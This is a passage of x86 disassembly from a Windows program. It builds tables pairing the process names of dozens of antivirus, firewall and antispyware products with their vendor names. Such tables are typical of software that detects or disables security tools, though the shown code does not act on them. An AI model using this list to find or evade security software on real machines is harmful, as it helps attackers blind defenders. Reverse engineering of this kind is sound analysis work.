mov byte [ebp - 4], 0x89
call fcn.00402740
push str.navsetup.exe
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 0x8a
call fcn.00402740
push str.Symantec_Norton_Antivirus
lea ecx, [ebp - 0x1ec]
mov byte [ebp - 4], 0x8b
call fcn.00402740
push str.navapw32.exe
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 0x8c
call fcn.00402740
push str.Symantec_Norton_Antivirus
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 0x8d
call fcn.00402740
push str.navshcom.exe
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 0x8e
call fcn.00402740
push str.Symantec_Norton_Antivirus
lea ecx, [ebp - 0x17c]
mov byte [ebp - 4], 0x8f
call fcn.00402740
push str.vba32.exe
lea ecx, [ebp - 0x160]
mov byte [ebp - 4], 0x90
call fcn.00402740
push str.VirusBlokAda
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 0x91
call fcn.00402740
push str.tmas.exe
lea ecx, [ebp - 0x128]
mov byte [ebp - 4], 0x92
call fcn.00402740
push str.Trend_Micro
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 0x93
call fcn.00402740
push str.ofcdog.exe
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0x94
call fcn.00402740
push str.Trend_Micro
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 0x95
call fcn.00402740
push str.tmoagent.exe
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0x96
call fcn.00402740
push str.Trend_Micro
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x97
call fcn.00402740
push str.tsc.exe
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0x98
call fcn.00402740
push str.Trend_Micro
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x99
call fcn.00402740
push str.winprof.exe
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x9a
call fcn.00402740
push str.VirusBuster
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x9b
call fcn.00402740
push str.nisum.exe
lea ecx, [ebp - 0x13a4]
mov dword [ebp - 4], 0x9c
call fcn.00402740
push str.Norton_Personal_Firewall_2002_2003
lea ecx, [ebp - 0x1388]
mov byte [ebp - 4], 0x9d
call fcn.00402740
push str.mpfService.exe
lea ecx, [ebp - 0x136c]
mov byte [ebp - 4], 0x9e
call fcn.00402740
push str.McAfee_Personal_Firewall
lea ecx, [ebp - 0x1350]
mov byte [ebp - 4], 0x9f
call fcn.00402740
push str.blackd.exe
lea ecx, [ebp - 0x1334]
mov byte [ebp - 4], 0xa0
call fcn.00402740
push str.ISS_BlackIce
lea ecx, [ebp - 0x1318]
mov byte [ebp - 4], 0xa1
call fcn.00402740
push str.fsdfwd.exe
lea ecx, [ebp - 0x12fc]
mov byte [ebp - 4], 0xa2
call fcn.00402740
push str.McAfee_Personal_Firewall
lea ecx, [ebp - 0x12e0]
mov byte [ebp - 4], 0xa3
call fcn.00402740
push str.smc.exe
lea ecx, [ebp - 0x12c4]
mov byte [ebp - 4], 0xa4
call fcn.00402740
push str.Sygate_Personal_Firewall_5.x
lea ecx, [ebp - 0x12a8]
mov byte [ebp - 4], 0xa5
call fcn.00402740
push str.zlclient.exe
lea ecx, [ebp - 0x128c]
mov byte [ebp - 4], 0xa6
call fcn.00402740
push str.Zone_Alarm
lea ecx, [ebp - 0x1270]
mov byte [ebp - 4], 0xa7
call fcn.00402740
mov byte [ebp - 4], 0xa8
push str.persfw.exe
lea ecx, [ebp - 0x1254]
call fcn.00402740
push str.Tiny_Firewall
lea ecx, [ebp - 0x1238]
mov byte [ebp - 4], 0xa9
call fcn.00402740
push str.efpeadm.exe
lea ecx, [ebp - 0x121c]
mov byte [ebp - 4], 0xaa
call fcn.00402740
push str.CA_eTrust_EZ_Firewall
lea ecx, [ebp - 0x1200]
mov byte [ebp - 4], 0xab
call fcn.00402740
push str.fsguiexe.exe
lea ecx, [ebp - 0x11e4]
mov byte [ebp - 4], 0xac
call fcn.00402740
push str.F_Secure_Internet_Security_2004
lea ecx, [ebp - 0x11c8]
mov byte [ebp - 4], 0xad
call fcn.00402740
push str.kpf4gui.exe
lea ecx, [ebp - 0x11ac]
mov byte [ebp - 4], 0xae
call fcn.00402740
push str.Kerio_Personal_Firewall_4
lea ecx, [ebp - 0x1190]
mov byte [ebp - 4], 0xaf
call fcn.00402740
push str.pccpfw.exe
lea ecx, [ebp - 0x1174]
mov byte [ebp - 4], 0xb0
call fcn.00402740
push str.Trend_Micro_Internet_Security
lea ecx, [ebp - 0x1158]
mov byte [ebp - 4], 0xb1
call fcn.00402740
push str.Ad_Aware.exe
lea ecx, [ebp - 0x1804]
mov byte [ebp - 4], 0xb2
call fcn.00402740
push str.Lavasoft_Ad_Aware
lea ecx, [ebp - 0x17e8]
mov byte [ebp - 4], 0xb3
call fcn.00402740
push str.spycatcher.exe
lea ecx, [ebp - 0x17cc]
mov byte [ebp - 4], 0xb4
call fcn.00402740
push str.Tenebril_Spy_Catcher
lea ecx, [ebp - 0x17b0]
mov byte [ebp - 4], 0xb5
call fcn.00402740
push str.spysweeper.exe
lea ecx, [ebp - 0x1794]
mov byte [ebp - 4], 0xb6
call fcn.00402740
push str.Webroot_Spy_Sweeper
lea ecx, [ebp - 0x1778]
mov byte [ebp - 4], 0xb7
call fcn.00402740
mov byte [ebp - 4], 0xb8
push str.sunasserv.exe
lea ecx, [ebp - 0x175c]
call fcn.00402740
push str.Sunbelt_Counter_Spy
lea ecx, [ebp - 0x1740]
mov byte [ebp - 4], 0xb9
call fcn.00402740
push str.gcasserv.exe
lea ecx, [ebp - 0x1724]
mov byte [ebp - 4], 0xba
call fcn.00402740
push str.Microsoft_Anti_Spyware
lea ecx, [ebp - 0x1708]
mov byte [ebp - 4], 0xbb
call fcn.00402740
push str.ppactivedetection.exe
lea ecx, [ebp - 0x16ec]
mov byte [ebp - 4], 0xbc
call fcn.00402740
push str.CA_eTrust_Pest_Patrol
lea ecx, [ebp - 0x16d0]
mov byte [ebp - 4], 0xbd
call fcn.00402740
push str.msscli.exe
lea ecx, [ebp - 0x16b4]
mov byte [ebp - 4], 0xbe
call fcn.00402740
push str.Mc_Affee_AntiSpyware
lea ecx, [ebp - 0x1698]
mov byte [ebp - 4], 0xbf
call fcn.00402740
push str.swdoctor.exe
lea ecx, [ebp - 0x167c]
mov byte [ebp - 4], 0xc0
call fcn.00402740
push str.Pc_Tools_Spyware_Doctor
lea ecx, [ebp - 0x1660]
mov byte [ebp - 4], 0xc1
call fcn.00402740
push str.spycatcher.exe
lea ecx, [ebp - 0x1644]
mov byte [ebp - 4], 0xc2
call fcn.00402740
push str.Tenebril_Spy_Catcher
lea ecx, [ebp - 0x1628]
mov byte [ebp - 4], 0xc3
call fcn.00402740
push str.spywarebegone.exe
lea ecx, [ebp - 0x160c]
mov byte [ebp - 4], 0xc4
call fcn.00402740
push str.MicroSmarts_LLC_Spyware_BeGone
lea ecx, [ebp - 0x15f0]
mov byte [ebp - 4], 0xc5
call fcn.00402740
push str.vipre.exe
lea ecx, [ebp - 0x15d4]
mov byte [ebp - 4], 0xc6
call fcn.00402740
push str.Vipre_AntivirusAntispyware
lea ecx, [ebp - 0x15b8]
mov byte [ebp - 4], 0xc7
call fcn.00402740
mov byte [ebp - 4], 0xc8
push str.tmas.exe
lea ecx, [ebp - 0x159c]
call fcn.00402740
push str.Trend_Micro_Anti_Spyware
lea ecx, [ebp - 0x1580]
mov byte [ebp - 4], 0xc9
call fcn.00402740
push str.loaristrojanremover.exe
lea ecx, [ebp - 0x1564]
mov byte [ebp - 4], 0xca
call fcn.00402740
push str.Loaris_Trojan_Remover
lea ecx, [ebp - 0x1548]
mov byte [ebp - 4], 0xcb
call fcn.00402740
push str.spywaredetector.exe
lea ecx, [ebp - 0x152c]
mov byte [ebp - 4], 0xcc
call fcn.00402740
push str.Max_Secure_Max_Spyware_Detector
lea ecx, [ebp - 0x1510]
mov byte [ebp - 4], 0xcd
call fcn.00402740
push str.stopzilla.exe
lea ecx, [ebp - 0x14f4]
mov byte [ebp - 4], 0xce
call fcn.00402740
push 0x434c88
lea ecx, [ebp - 0x14d8]
mov byte [ebp - 4], 0xcf
call fcn.00402740
push str.mbam.exe
lea ecx, [ebp - 0x14bc]
mov byte [ebp - 4], 0xd0
call fcn.00402740
push str.Malwarebytes_Anti_Malware
lea ecx, [ebp - 0x14a0]
mov byte [ebp - 4], 0xd1
call fcn.00402740
push str.xoftspyse.exe
lea ecx, [ebp - 0x1484]
mov byte [ebp - 4], 0xd2
call fcn.00402740
push str.Pareto_Logic_XoftSpySE
lea ecx, [ebp - 0x1468]
mov byte [ebp - 4], 0xd3
call fcn.00402740
push str.Spyzooka.exe
lea ecx, [ebp - 0x144c]
mov byte [ebp - 4], 0xd4
call fcn.00402740
push str.Blue_Penguin_Software_Spyzooka
lea ecx, [ebp - 0x1430]
mov byte [ebp - 4], 0xd5
call fcn.00402740
push str.xm_00002.exe
lea ecx, [ebp - 0x1414]
mov byte [ebp - 4], 0xd6
call fcn.00402740
push str.X_Micro_Antispyware
lea ecx, [ebp - 0x13f8]
mov byte [ebp - 4], 0xd7
call fcn.00402740
push str.hk_anti_spyware.exe
lea ecx, [ebp - 0x13dc]
mov byte [ebp - 4], 0xd8
call fcn.00402740
push str.HK_Antispyware
lea ecx, [ebp - 0x13c0]
mov byte [ebp - 4], 0xd9
call fcn.00402740
push ebx
push 0x4e
lea eax, [ebp - 0x113c]
push eax
mov ecx, edi
mov byte [ebp - 4], 0xda
call fcn.004164e0
push 1
push 0xb
lea ecx, [ebp - 0x13a4]
push ecx
mov ecx, edi
call fcn.004164e0
push 2
push 0x14
lea edx, [ebp - 0x1804]
push edx
mov ecx, edi
call fcn.004164e0
push fcn.00402170
push 0x28
push 0x1c
lea eax, [ebp - 0x1804]
push eax
mov byte [ebp - 4], 0xb2
call fcn.0041bc78
push fcn.00402170
push 0x16
push 0x1c
lea ecx, [ebp - 0x13a4]
push ecx
mov byte [ebp - 4], 0x9c
call fcn.0041bc78
push fcn.00402170
push 0x9d
push 0x1c
lea edx, [ebp - 0x113c]
push edx
mov dword [ebp - 4], 0xffffffff
call fcn.0041bc78
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419ad1
mov esp, ebp
pop ebp
ret